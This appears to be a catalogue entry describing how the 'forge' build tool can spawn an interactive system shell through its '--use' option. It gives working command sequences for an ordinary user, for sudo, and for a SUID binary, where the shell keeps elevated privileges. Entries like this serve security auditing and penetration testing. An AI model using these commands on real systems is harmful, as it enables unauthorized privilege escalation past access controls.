Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    echo '#!/bin/sh' >/path/to/temp-file
    echo -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-file
    chmod +x /path/to/temp-file
    forge build --use /path/to/temp-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '#!/bin/sh' >/path/to/temp-file
    echo -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-file
    chmod +x /path/to/temp-file
    forge build --use /path/to/temp-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    echo '#!/bin/sh' >/path/to/temp-file
    echo -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-file
    chmod +x /path/to/temp-file
    forge build --use /path/to/temp-file